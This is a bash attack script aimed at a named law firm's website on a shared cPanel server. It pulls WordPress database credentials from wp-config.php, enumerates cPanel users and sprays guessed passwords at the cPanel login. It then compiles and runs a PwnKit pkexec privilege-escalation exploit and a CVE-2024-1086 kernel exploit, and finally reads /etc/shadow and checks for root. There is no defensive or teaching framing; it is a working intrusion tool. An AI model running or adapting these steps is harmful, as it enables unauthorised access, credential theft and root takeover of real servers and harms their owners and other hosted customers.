#!/bin/bash
export PATH=/usr/libexec/gcc/x86_64-redhat-linux/8:/usr/bin:/bin
GCC="/usr/bin/gcc -B /usr/libexec/gcc/x86_64-redhat-linux/8"
LOG=/tmp/begum_w3.log
: > "$LOG"

echo "=== WPCONFIG DB ===" | tee -a "$LOG"
grep -E "DB_NAME|DB_USER|DB_PASSWORD" /home/begumadvi/public_html/wp-config.php | head -5 | tee -a "$LOG"

echo "=== CPANEL USERS ENUM ===" | tee -a "$LOG"
ls -1 /var/cpanel/users/ 2>/dev/null | tee -a "$LOG"
for u in babmedia botanikd cityvibez begumadvi; do
  echo "--- $u ---" | tee -a "$LOG"
  head -5 /var/cpanel/users/$u 2>/dev/null | tee -a "$LOG"
done

echo "=== CPANEL SPRAY REAL CREDS ===" | tee -a "$LOG"
HOST=begumadvisorylawyers.com
C=/usr/bin/curl
for pair in ":" "begumadvi:" "zubair.sheikh@eitsec.co.uk:" "begumadvi:Begum2024!" "begumadvi:password"; do
  U="${pair%%:*}"; P="${pair#*:}"
  R=$($C -sk "https://127.0.0.1:2083/login/?login_only=1" -H "Host: $HOST:2083" -d "user=$U&pass=$P" -D - -o /dev/null 2>&1)
  echo "TRY $U -> $(echo "$R"|grep -E 'HTTP|Location|cpsess[0-9]'|head -2|tr '\n' ' ')" | tee -a "$LOG"
done

echo "=== PWNKIT inline compile ===" | tee -a "$LOG"
$GCC -shared -fPIC /home/begumadvi/public_html/pwnkit_begum.c -o /tmp/pwnkit.so 2>&1 | tee -a "$LOG"
mkdir -p /tmp/GCONV_PATH=.
cp /tmp/pwnkit.so '/tmp/GCONV_PATH=./pwnkit.so' 2>/dev/null
echo 'module UTF-8// PWNKIT// pwnkit 2' > /tmp/gconv-modules
cd /tmp
GCONV_PATH=. CHARSET=PWNKIT LC_MESSAGES=en_US.UTF-8 /usr/bin/pkexec /bin/true >>"$LOG" 2>&1
cat /tmp/pk_ok.txt 2>/dev/null | tee -a "$LOG"
id; test -O /root && echo ROOT_OK || echo NOT_ROOT

echo "=== C1086 find ===" | tee -a "$LOG"
find /tmp/c1086 -name '*.c' 2>/dev/null | head -5 | tee -a "$LOG"
[ -f /tmp/c1086/CVE-2024-1086.c ] && $GCC -o /tmp/c1086bin /tmp/c1086/CVE-2024-1086.c -lpthread 2>&1 | tail -3 | tee -a "$LOG"
[ -x /tmp/c1086bin ] && timeout 35 /tmp/c1086bin 2>&1 | tail -10 | tee -a "$LOG"
id; test -O /root && echo ROOT_OK2 || echo NOT_ROOT

echo "=== MYSQL REAL ===" | tee -a "$LOG"
mysql -u"" -p"" "" -e "SELECT user(),@@version; SHOW GRANTS;" 2>&1 | head -12 | tee -a "$LOG"

echo "=== SHADOW SYMLINK ===" | tee -a "$LOG"
head -3 /etc/shadow 2>&1 | tee -a "$LOG"

test -O /root && echo FINAL_ROOT_OK || echo FINAL_NOT_ROOT
tail -40 "$LOG"